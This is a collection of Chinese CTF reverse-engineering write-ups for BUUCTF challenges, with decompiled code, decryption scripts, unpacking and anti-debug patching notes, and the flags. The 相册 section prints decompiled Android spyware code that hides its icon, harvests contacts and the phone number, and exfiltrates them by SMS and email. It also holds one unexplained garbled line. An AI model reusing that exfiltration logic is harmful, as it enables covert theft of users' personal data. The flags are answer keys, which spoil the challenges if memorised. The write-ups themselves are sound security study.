buuctf-reverse write-ups (1)
文章目录
- buu001-easyre
- buu002-reverse1
- buu003-reverse2
- buu004-内涵的软件
- buu005-新年快乐
- buu006-xor
- buu007-helloword
- buu008-reverse3
- buu009-不一样的flag
- buu010-SimpleRev
- buu011-Java逆向解密
- buu012-[GXYCTF2019]luck_guy
- buu013-[BJDCTF2020]JustRE
- buu014-刮开有奖
- buu015-简单注册器
- buu016-[GWCTF 2019]pyre
- buu017-[ACTF新生赛2020]easyre
- buu018-findit
- buu019-rsa
- buu020-[ACTF新生赛2020]rome
- buu021-[FlareOn4]login
- buu022-CrackRTF
- buu023-[WUSTCTF2020]level1
- buu024-[GUET-CTF2019]re
- buu025-[2019红帽杯]easyRE
- buu026-[MRCTF2020]Transform
- buu027-[WUSTCTF2020]level2
- buu028-[SUCTF2019]SignIn
- buu029-[ACTF新生赛2020]usualCrypt
- buu030-[HDCTF2019]Maze
- buu031-[MRCTF2020]Xor
- buu032-[MRCTF2020]hello_world_go
- buu033-Youngter-drive
- buu034-[WUSTCTF2020]level3
- buu035-相册
- buu036-[FlareOn4]IgniteMe
- buu037-[WUSTCTF2020]Cr0ssfun
buu001-easyre
直接用IDA打开,main函数里面就是。
buu002-reverse1
用IDA打开通过输出字符串定位到输入部分,flag在字符串中直接就有。
buu003-reverse2
用IDA打开,这是一个Linux ELF文件,在main函数中首先把flag里面的i和r替换成1就行了。
buu004-内涵的软件
用IDA打开,把DBAPP改成flag就行了。
buu005-新年快乐
这道题是使用了UPX进行了压缩加壳,只需要用UPX工具解压即可得到flag。
UPX使用方法:
PS E:\...\upx-4.0.2-win64> .\upx.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023
Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..
Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress
Type 'upx --help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io
buu006-xor
这道题进行了一个简单的异或操作,将前一个字符与后一个字符异或。
解密脚本:
cipher = '\x66\x0A\x6B\x0C\x77\x26\x4F\x2E\x40\x11\x78\x0D\x5A\x3B\x55\x11\x70\x19\x46\x1F\x76\x22\x4D\x23\x44\x0E\x67\x06\x68\x0F\x47\x32\x4F'
plaintext = ['f']
for i in range(len(cipher) - 1):
plaintext.append(chr(ord(cipher[i]) ^ ord(cipher[i+1])))
print(''.join(plaintext))
buu007-helloword
这道题是一个apk文件的逆向,可以使用Jadx的Intellij插件进行反编译,直接获得flag。
buu008-reverse3
这道题是一个base64编码程序,实际上不需要对代码进行全部逆向分析,只需要通过动态调试即可得知。在编码之后,程序还进行了另一种处理:对索引为x的字节的ASCII码加x,然后与事先保存的字符串比较。可写出下列解密程序:
import base64
cipher = 'e3nifIH9b_C@n@dH'
dec_1 = []
for i in range(len(cipher)):
dec_1.append(chr(ord(cipher[i]) - i))
dec_1 = ''.join(dec_1)
print(base64.b64decode(dec_1))
buu009-不一样的flag
走迷宫。按照0的路线走即可。
#1111
01000
01010
00010
1111#
buu010-SimpleRev
一个简单的转换。python脚本:
key = 'adsfkndcls'
text = 'killshadow'
answer = [] * 10
k = 10
for i in range(10):
for j in range(128):
if not (0x40 < j <= 0x40 + 26 or 0x60 < j <= 0x60 + 26):
continue
if chr((j - 39 - ord(key[k % 10]) + 97) % 26 + 97) == text[i] and (0x40 < j <= 0x40+26):
answer.append(chr(j))
k += 1
break
print(''.join(answer))
buu011-Java逆向解密
用Intellij反编译class文件,一个简单的字节加密。
buu012-[GXYCTF2019]luck_guy
脚本:
former = 'GXY{do_not_'
x = 'icug`of\x7F'
t = [] * 8
for i in range(len(x)):
if(i % 2 == 1):
t.append(chr(ord(x[i]) - 2))
else:
t.append(chr(ord(x[i]) - 1))
print(former + ''.join(t))
buu013-[BJDCTF2020]JustRE
要点19999次才能获得flag,用Shift+F12直接找到flag。
buu014-刮开有奖
这道题的DialogFunc函数里面有一个sub_4010F0函数,里面对一个长度为10的数组进行了处理,直接把伪代码拷到Dev里面执行得到结果,下面还有一个是base64编码,然后可以根据判断条件把flag拼出来。
buu015-简单注册器
直接用jadx打开,把flag生成的代码直接复制到Java执行即可。
buu016-[GWCTF 2019]pyre
这是一个pyc的python字节码逆向,安装undecompyle进行反编译。
undecompyle x.pyc > x.py
然后逆向解密即可。
buu017-[ACTF新生赛2020]easyre
又是一个UPX加壳,直接脱壳逆向。
x = "*F'\"N,\"(I?+@"
data = '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\'&%$# !"'
answer = ['A', 'C', 'T', 'F', '{']
for i in range(12):
for j in range(1, len(data) + 1):
if x[i] == data[j - 1]:
answer.append(chr(j))
answer.append('}')
print(''.join(answer))
buu018-findit
jadx反编译。
public class main {
public static void main(String[] args) {
final char[] a = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'};
final char[] b = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'};
char[] x = new char[17];
char[] y = new char[38];
for (int i = 0; i < 17; i++) {
if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) {
x[i] = (char) (a[i] + 18);
} else if ((a[i] < 'A' || a[i] > 'Z') && (a[i] < 'a' || a[i] > 'z')) {
x[i] = a[i];
} else {
x[i] = (char) (a[i] - '\b');
}
}
for (int i2 = 0; i2 < 38; i2++) {
if ((b[i2] < 'A' || b[i2] > 'Z') && (b[i2] < 'a' || b[i2] > 'z')) {
y[i2] = b[i2];
} else {
y[i2] = (char) (b[i2] + 16);
if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') {
y[i2] = (char) (y[i2] - 26);
}
}
}
System.out.println(y);
}
}
buu019-rsa
一道crypto的题,用yafu可以分解他给的公钥,然后解密。
buu020-[ACTF新生赛2020]rome
首先用UPX脱壳,然后逆向就行了,就是一个凯撒加密。
tar = 'Qsw3sj_lz4_Ujw@l'
answer = []
for i in range(16):
for j in range(128):
k = 0
if 64 < j <= 90:
k = (j - 51) % 26 + 65
elif 96 < j <= 122:
k = (j - 79) % 26 + 97
else:
k = j
if k == ord(tar[i]):
answer.append(chr(j))
break
print(''.join(answer))
buu021-[FlareOn4]login
还是凯撒加密,不过是JS代码审计。位移13位。
buu022-CrackRTF
这题进行了2次哈希,第1次是SHA哈希,第2次是MD5哈希。第1次只能输入整数,第2次输入不限,对第2次输入的暴力可能需要的时间比较长。
buu023-[WUSTCTF2020]level1
直接逆,不解释了。
output = [198, 232, 816, 200, 1536, 300, 6144, 984, 51200, 570, 92160, 1200, 565248, 756, 1474560, 800, 6291456, 1782, 65536000]
for i in range(len(output)):
if i & 1 == 0:
output[i] >>= i+1
else:
output[i] //= i+1
print(''.join([chr(o) for o in output]))
buu024-[GUET-CTF2019]re
这题可以使用Detect It Easy工具检测到UPX加壳,然后脱壳逆向。
不知道为什么flag里面有一个字节不给,还得爆破。
flag{e165421110ba03099a1c039337}
buu025-[2019红帽杯]easyRE
这题是一个Linux静态编译的文件,关键就是要理清楚一些库函数的功能。
while ( v3 < v5 - 2 )
{
*(_BYTE *)(v7 + v3) = alphabet[(unsigned __int8)a1[v4] >> 2];
*(_BYTE *)(v7 + v3 + 1LL) = alphabet[(16 * (a1[v4] & 3)) | ((unsigned __int8)a1[v4 + 1] >> 4)];
*(_BYTE *)(v7 + v3 + 2LL) = alphabet[(4 * (a1[v4 + 1] & 0xF)) | ((unsigned __int8)a1[v4 + 2] >> 6)];
*(_BYTE *)(v7 + v3 + 3LL) = alphabet[a1[v4 + 2] & 0x3F];
v4 += 3;
v3 += 4;
}
在sub_0x400E44
函数里面找到上面这块代码,明显能看出是用来base64编码的,因此改名为base64_encode
。
然后在main函数里面找到这段代码:
v18 = __readfsqword(0x28u);
qmemcpy(secret, "Iodl>Qnb(ocy", 12);
secret[12] = 0x7F;
qmemcpy(&secret[13], "y.i", 3);
secret[16] = 0x7F;
qmemcpy(&secret[17], "d`3w}wek9{iy=~yL@EC", 19);
memset(input, 0, sizeof(input));
read(0LL, input, 0x25uLL);
input[36] = 0;
LODWORD(v0) = strlen(input);
if ( v0 == 36 )
{
for ( i = 0; ; ++i )
{
LODWORD(v1) = strlen(input);
if ( i >= v1 )
break;
if ( (unsigned __int8)(input[i] ^ i) != secret[i] )
goto LABEL_9;
}
...
}
就是一个字符串解密,用下面的脚本进行解密:
secret = 'Iodl>Qnb(ocy\x7fy.i\x7fd`3w}wek9{iy=~yL@EC'
plaintext = ''
for i in range(len(secret)):
plaintext += chr(ord(secret[i]) ^ i)
print(plaintext)
得到字符串为:Info:The first four chars are flag
这个是第一步,然后还有第二步,第二步看似是一个base64,编码编了10层之后出来一个网址,但这个网址是骗人的,flag在其他的地方。
https://bbs.kanxue.com/thread-254172.htm
在0x6CC0A0处还发现了一个可疑的东西,可能与flag有关系。这个东西在sub_400D35
里面被引用了。
unsigned __int64 sub_400D35()
{
unsigned __int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-24h]
int i; // [rsp+10h] [rbp-20h]
int j; // [rsp+14h] [rbp-1Ch]
unsigned int v4; // [rsp+24h] [rbp-Ch]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
v1 = time(0LL) - qword_6CEE38;
for ( i = 0; i <= 1233; ++i )
{
sub_40F790(v1);
sub_40FE60();
sub_40FE60();
v1 = sub_40FE60() ^ 0x98765432;
}
v4 = v1;
if ( ((unsigned __int8)v1 ^ real_secret[0]) == 'f' && (HIBYTE(v4) ^ real_secret[3]) == 'g' )
{
for ( j = 0; j <= 24; ++j )
sub_410E90((unsigned __int8)(real_secret[j] ^ *((_BYTE *)&v4 + j % 4)));
}
result = __readfsqword(0x28u) ^ v5;
if ( result )
sub_444020();
return result;
}
这里面判断了第一个字母和第四个字母,由此可以发现这个加密的原理。
__int64 sub_4009AE()
{
__int64 result; // rax
result = time(0LL);
qword_6CEE38 = result;
return result;
}
qword_6CEE38
这个变量只在两个地方被引用,发现其值就是time(0)
,因此v1
的值应该是0才对。实际上我们根本就不用管上面的逻辑,看if语句就可以知道v1和v4的值应该是什么。
v1=0x26,HIBYTE(v4)=0x31。
后面有个for循环,以4个字节为循环,将real_secret
中的内容与v4
异或。因为前4个字节是flag
,所以v4
的值实际上可以获取到,为0x31415926,还是个挺吉利的数字。然后我们就可以写脚本拿到真正的flag了:
secret = '@5 V]\x18"E\x17/$nb<\x27THl$nr<2E['
mask = '\x26\x59\x41\x31'
plaintext = ''
for i in range(len(secret)):
plaintext += chr(ord(secret[i]) ^ ord(mask[i%4]))
print(plaintext)
拿到flag:flag{Act1ve_Defen5e_Test}
buu026-[MRCTF2020]Transform
这题逻辑挺简单,就是一个简单的加密:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Str[104]; // [rsp+20h] [rbp-70h] BYREF
int j; // [rsp+88h] [rbp-8h]
int i; // [rsp+8Ch] [rbp-4h]
sub_402230();
printf("Give me your code:\n");
scanf("%s", Str);
if ( strlen(Str) != 33 )
{
printf("Wrong!\n");
system("pause");
exit(0);
}
for ( i = 0; i <= 32; ++i )
{
input[i] = Str[mask[i]];
input[i] ^= LOBYTE(mask[i]);
}
for ( j = 0; j <= 32; ++j )
{
if ( cipher[j] != input[j] )
{
printf("Wrong!\n");
system("pause");
exit(0);
}
}
printf("Right!Good Job!\n");
printf("Here is your flag: %s\n", Str);
system("pause");
return 0;
}
直接上脚本:
mask = [9, 0x0a, 0x0f, 0x17, 7, 0x18, 0x0c, 6, 1, 0x10, 3, 0x11, 0x20, 0x1d, 0x0b, 0x1e, 0x1b, 0x16, 4, 0x0d, 0x13, 0x14, 0x15, 2, 0x19, 5, 0x1f, 8, 0x12, 0x1a, 0x1c, 0x0e, 0]
cipher = 'gy{\x7fu+<RSyW^]B{-*fB~LWyAk~e<\\EobM'
plaintext = ['a'] * len(mask)
for i in range(len(mask)):
c = ord(cipher[i])
c ^= mask[i]
plaintext[mask[i]] = chr(c)
print(''.join(plaintext))
结果MRCTF{TrEnsp0sltiON_Clph3r_1s_3z},buu平台要改成flag开头。
buu027-[WUSTCTF2020]level2
这题用detect it easy扫出来也是upx加壳的,脱一下就拿到了。
buu028-[SUCTF2019]SignIn
这题就是纯纯的密码题,把输入转成大数i,给e、m、r,求i使得(i^e)%m=r。复习一下残缺不全的密码学知识…
根据欧拉定理: x φ ( y ) ≡ 1 ( m o d y ) x^{\varphi(y)}\equiv 1\pmod y xφ(y)≡1(mody)
模数的两个因数分别为282164587459512124844245113950593348271
和366669102002966856876605669837014229419
e d ≡ 1 ( m o d ( u − 1 ) ( v − 1 ) ) ed\equiv 1\pmod {(u-1)(v-1)} ed≡1(mod(u−1)(v−1)),用扩展欧几里得来算。
import gmpy2
if __name__ == '__main__':
m = 103461035900816914121390101299049044413950405173712170434161686539878160984549
u = 282164587459512124844245113950593348271
v = 366669102002966856876605669837014229419
e = 65537
cipher = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
d = gmpy2.invert(e, (u-1)*(v-1))
print(d)
print(bytes.fromhex(hex(pow(cipher, d, m))[2:]).decode())
suctf{Pwn_@_hundred_years}
FSSID:HIGDDEN_HOHTPOT PPASS:L0GIC_ANA1YSIS_CAN_FOR_FUN FSSID:HIGDDEN_HOHTPOT PPASS:L0QGIC_ANAR1YSIS_CSAN_FOR_TFUN
buu029-[ACTF新生赛2020]usualCrypt
这题实现了一个类似于base64的加密算法,3个字节输入,4个字节输出。从输出可知一共有27字节输入。进行类base64加密之后又翻转了大小写。
cipher = 'zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9'
alphabet = 'ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/'
plaintext = ''
def find_char(c):
for i in range(len(alphabet)):
if c == alphabet[i]:
return i
return -1
if __name__ == '__main__':
'''
input[0~2], output[0~3]
(input[0]>>2) & 0x3F -> output[0]
16 * (input[0] & 3) + (input[1] >> 4) & 0xF -> output[1]
4 * (input[1] & 0xF) + (input[2] >> 6) & 3 -> output[2]
input[2] & 0x3F -> output[3]
input[0] = output[0] << 2 + output[1] & 3
0 1 2 3 4 5
0 0.2 0.3 0.4 0.5 0.6 0.7
1 1.4 1.5 1.6 1.7 0.0 0.1
2 2.6 2.7 1.0 1.1 1.2 1.3
3 2.0 2.1 2.2 2.3 2.4 2.5
'''
cipher2 = ''
for i in cipher:
if i.isalpha():
cipher2 += chr(ord(i) ^ 0x20)
else:
cipher2 += i
cipher = cipher2
print(cipher2)
for i in range(len(cipher) // 4):
plaintext += chr((find_char(cipher[i * 4]) << 2) + (find_char(cipher[i * 4 + 1]) >> 4))
plaintext += chr(((find_char(cipher[i * 4 + 1]) & 0xF) << 4) + (find_char(cipher[i * 4 + 2]) >> 2))
plaintext += chr(((find_char(cipher[i * 4 + 2]) & 0x3) << 6) + find_char(cipher[i * 4 + 3]))
print(plaintext)
flag{bAse64_h2s_a_Surprise}
buu030-[HDCTF2019]Maze
这道题首先用upx脱壳,然后发现操作很简单,就是wasd走迷宫,但是不要忽略程序里面有一个70字节的地图,如果不给地图直接走迷宫有很多种走法能到终点,但flag只有一个,所以必须按照迷宫的走法来走。
*******+**
******* **
**** **
** *****
** **F****
** ****
**********
flag{ssaaasaassdddw}
buu031-[MRCTF2020]Xor
一个简单的异或。
cipher = 'MSAWB~FXZ:J:`tQJ"N@ bpdd}8g'
plaintext = ''
for i in range(0x1B):
plaintext += chr(ord(cipher[i]) ^ i)
print(plaintext)
MRCTF{@_R3@1ly_E2_R3verse!}
buu032-[MRCTF2020]hello_world_go
开盖即送,但这是一个go写的程序,也值得进行分析。这里保留这个程序待后续分析。
flag{hello_world_gogogo}
buu033-Youngter-drive
这个程序首先一开始打不开,说缺少MSVCR100D.dll,这个在网上下一个就行了。然后双击一打开就死掉,用命令行打开发现会输出两个WARNING字符串,然后进入IDA查找相关字符串:
BOOL sub_411460()
{
size_t v0; // eax
BOOL i; // [esp+D0h] [ebp-24Ch]
HANDLE hSnapshot; // [esp+DCh] [ebp-240h]
PROCESSENTRY32W pe; // [esp+E8h] [ebp-234h] BYREF
pe.dwSize = 556;
hSnapshot = j_CreateToolhelp32Snapshot(2u, 0);
for ( i = j_Process32FirstW(hSnapshot, &pe); i; i = j_Process32NextW(hSnapshot, &pe) )
{
v0 = wcslen(pe.szExeFile);
wcslwr_s(pe.szExeFile, v0 + 1);
if ( !wcscmp(pe.szExeFile, L"ollyice.exe") )
{
printf("///WARNING///\n");
exit(0);
}
if ( !wcscmp(pe.szExeFile, L"ollydbg.exe") )
{
printf("///\nWARNING\n///\n");
exit(0);
}
if ( !wcscmp(pe.szExeFile, L"peid.exe") )
{
printf("///\nWARNING\n///\n");
exit(0);
}
if ( !wcscmp(pe.szExeFile, L"ida.exe") )
{
printf("///\nWARNING\n///\n");
exit(0);
}
if ( !wcscmp(pe.szExeFile, L"idaq.exe") )
{
printf("///\nWARNING\n///\n");
exit(0);
}
}
return CloseHandle(hSnapshot);
}
在这个函数里面可以发现这个程序有反调试的机制,CreateToolhelp32Snapshot
这个WinAPI用于获取指定进程以及这些进程使用的堆、模块和线程的快照,参数传2表示TH32CS_SNAPPROCESS
,即系统中快照中的所有进程,他现在拿到了所有进程的快照,然后就一个个遍历。Process32FirstW
是返回系统快照中遇到的第一个进程的信息,Process32NextW
就是获取下一个进程信息。wcslen
是宽字符个数,wcslwr_s
是把字符串大写转小写,是wchar_string_lower
的缩写。然后下面判断如果进程名是ollyice
等5个用于程序分析和调试的程序就会输出WARNING然后退出。一开始程序中一共打印出了2个WARNING,这里只打印出来一个,首先把这个地方的反调试给禁用了再看另外一个在哪。禁用的最简单方式就是全改成nop
指令。框选这个函数里面除了retn
指令之外的所有指令,然后用keypatch的fill range功能就能一键修改成nop
。
然后程序就能够正常跑起来了:
PS D:\CTF-reverse\buu033-Youngter-drive> .\upxout.exe
1111111111111111111111111111111111111111111111111111111111111111111111111111111
*******************************************************************************
************** ****************************************************
************** ******** ********************* *************
************** ********* ********************* ***************************
************** ********* ********************* ***************************
************** ********* ********************* ***************************
************** ******* ********************** ***************************
************** **** ************************* ***************************
************** * *************************** **************
************** *** ************************* ***************************
************** ****** *********************** ***************************
************** ******** ********************* ***************************
************** ********** ******************* ***************************
************** *********** ***************** *************
*******************************************************************************
1111111111111111111111111111111111111111111111111111111111111111111111111111111
input flag:
找到打印这个banner的函数在sub_411BD0
,这个函数只有一个scanf
把用户输入保存到了一个全局变量Source
里面。这个函数是由main函数直接调用的:
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
HANDLE Thread; // [esp+D0h] [ebp-14h]
HANDLE hObject; // [esp+DCh] [ebp-8h]
j_banner();
::hObject = CreateMutexW(0, 0, 0);
j_strcpy(Destination, &Source);
hObject = CreateThread(0, 0, StartAddress, 0, 0, 0);
Thread = CreateThread(0, 0, sub_41119F, 0, 0, 0);
CloseHandle(hObject);
CloseHandle(Thread);
while ( dword_418008 != -1 )
;
sub_411190();
CloseHandle(::hObject);
return 0;
}
CreateMutexW
创建一个互斥锁,CreateThread
创建一个线程。这里查资料发现CreateThread
返回的是一个线程句柄,之后是可以立即通过CloseHandle
关闭句柄的,因为线程句柄和线程本身的生命周期不同,线程句柄被关闭并不意味着线程立即结束,所以如果一个线程不需要任何干预,在创建之后就关闭句柄即可。第一个线程的函数如下:
void __stdcall __noreturn StartAddress_0(int a1)
{
while ( 1 )
{
WaitForSingleObject(hObject, 0xFFFFFFFF);
if ( bytes_remained > -1 )
{
sub_41112C(&Source, bytes_remained);
--bytes_remained;
Sleep(0x64u);
}
ReleaseMutex(hObject);
}
}
// positive sp value has been detected, the output may be wrong!
void __cdecl encrypter(char *buffer, int arg)
{
char byte; // [esp+D3h] [ebp-5h]
byte = buffer[arg];
if ( (byte < 'a' || byte > 'z') && (byte < 'A' || byte > 'Z') )
exit(0);
if ( byte < 'a' || byte > 'z' )
buffer[arg] = Palphabet[0][buffer[arg] - 0x26];
else
buffer[arg] = Palphabet[0][buffer[arg] - 0x60];
}
其中sub_41112C
中有这一段处理,规定所有输入只能为字母,然后进行了处理。而另一个线程的代码如下:
void __stdcall __noreturn sub_411B10(int a1)
{
while ( 1 )
{
WaitForSingleObject(hObject, 0xFFFFFFFF);
if ( bytes_remained > -1 )
{
Sleep(100u);
--bytes_remained;
}
ReleaseMutex(hObject);
}
}
这两个线程执行完之后,后面进行一次字符串比较,将输入处理后的字符串与TOiZiZtOrYaToUwPnToBsOaOapsyS
进行非直接比较。
int sub_411880()
{
int i; // [esp+D0h] [ebp-8h]
for ( i = 0; i < 29; ++i )
{
if ( *(&Source + i) != off_418004[i] )
exit(0);
}
return printf("\nflag{%s}\n\n", Destination);
}
直接上脚本:
alphabet = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
cipher = 'TOiZiZtOrYaToUwPnToBsOaOapsyS'
cipher1 = ''
def find_char(c):
for i in range(len(alphabet)):
if c == alphabet[i]:
return i
return -1
for i in range(29):
if i % 2 == 0:
cipher1 += cipher[i]
continue
if find_char(cipher[i]) <= 26:
cipher1 += chr(find_char(cipher[i]) + 0x60)
else:
cipher1 += chr(find_char(cipher[i]) + 0x26)
print(cipher1)
求出来一个高度疑似flag,但是交上去不对:flag{ThisisthreadofwindowshahaIsES}。于是彻底禁了反调试之后开调。发现输入的字符串处理完之后是这样:
ThisisthreadofwindowshahaIsES
xhPsPsXhLeWdHfBiGdHwZhWhWIZEz
可见,第2、4、6、…个字符不变,那到底是什么地方出了问题呢?我换了一下处理的奇偶数,然后程序能输出flag,但是那个东西就纯粹拼不出来什么单词了,后来查wp才发现最后还有一位,那这就不是我的问题了。flag{ThisisthreadofwindowshahaIsESE}
buu034-[WUSTCTF2020]level3
一个换了表的base64,看到程序里面有个O_OLookAtYou
函数获取换表操作,换完直接解码。
wctf2020{Base64_is_the_start_of_reverse}
buu035-相册
一道Android逆向,用jadx打开后首先看AndroidMenifest.xml。
<activity android:label="@string/app_name" android:icon="@drawable/iocn" android:name="cn.baidujiayuan.ver5304.C1">
<intent-filter>
<category android:name="android.intent.category.LAUNCHER"/>
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
</activity>
找到上面这个项,这里的action是android.intent.action.MAIN
,因此确定了apk的入口是cn.baidujiayuan.ver5304.C1
。
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
A2.log("安装后执行这个");
startService(new Intent(this, M2.class));
readContacts();
SmsManager.getDefault();
((TelephonyManager) getSystemService("phone")).getLine1Number();
A2.sendMsg(C2.phoneNumber, A2.getInstallFlag(this, ""));
try {
new SmsTas("", this).execute(new Integer[0]);
} catch (Exception e) {
A2.log("邮件发送错误");
}
try {
new MailTask("", this).execute(new Integer[0]);
} catch (Exception e2) {
A2.log("邮件发送错误");
}
check();
}
这里面有一个sendMsg
方法,疑似是发送邮件。
public static int sendMailByJavaMail(String mailto, String title, String mailmsg) {
if (!debug) {
Mail m = new Mail(C2.MAILUSER, C2.MAILPASS);
m.set_host(C2.MAILHOST);
m.set_port(C2.PORT);
m.set_debuggable(true);
m.set_to(new String[]{mailto});
m.set_from(C2.MAILFROME);
m.set_subject(title);
m.setBody(mailmsg);
try {
if (m.send()) {
Log.i("IcetestActivity", "Email was sent successfully.");
} else {
Log.i("IcetestActivity", "Email was sent failed.");
}
} catch (Exception e) {
Log.e("MailApp", "Could not send email", e);
}
}
return 1;
}
这是在A2中发现的发送邮件的方法,其中有个MAILSERVER
,定位一下:
public static final String MAILSERVER = Base64.decode(NativeMethod.m());
是个Base64解码,不过解码的东西是NativeMethod.m()
在lib目录里面的libcore.so
里面找到了东西。能找到Java_com_net_cn_NativeMethod_m
这个函数,然后返回了一个base64值,解码即可。
buu036-[FlareOn4]IgniteMe
简单的windows x86程序,一个加密
cipher = [0x0D, 0x26, 0x49, 0x45, 0x2A, 0x17, 0x78, 0x44, 0x2B, 0x6C, 0x5D, 0x5E, 0x45, 0x12, 0x2F, 0x17, 0x2B, 0x44, 0x6F, 0x6E, 0x56, 0x9, 0x5F, 0x45, 0x47, 0x73, 0x26, 0x0A, 0x0D, 0x13, 0x17, 0x48, 0x42, 0x1, 0x40, 0x4D, 0x0C, 0x2, 0x69, 0x0]
crc = 4
plaintext = [0] * 40
idx = 39
while idx >= 0:
plaintext[idx] = crc ^ cipher[idx]
crc = plaintext[idx]
idx -= 1
for i in plaintext[:-1]:
print(chr(i), end="")
flag{R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com}
buu037-[WUSTCTF2020]Cr0ssfun
wctf2020{cpp_@nd_r3verse_@re_fun}
原文地址:https://blog.csdn.net/qq_54218833/article/details/140552341
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!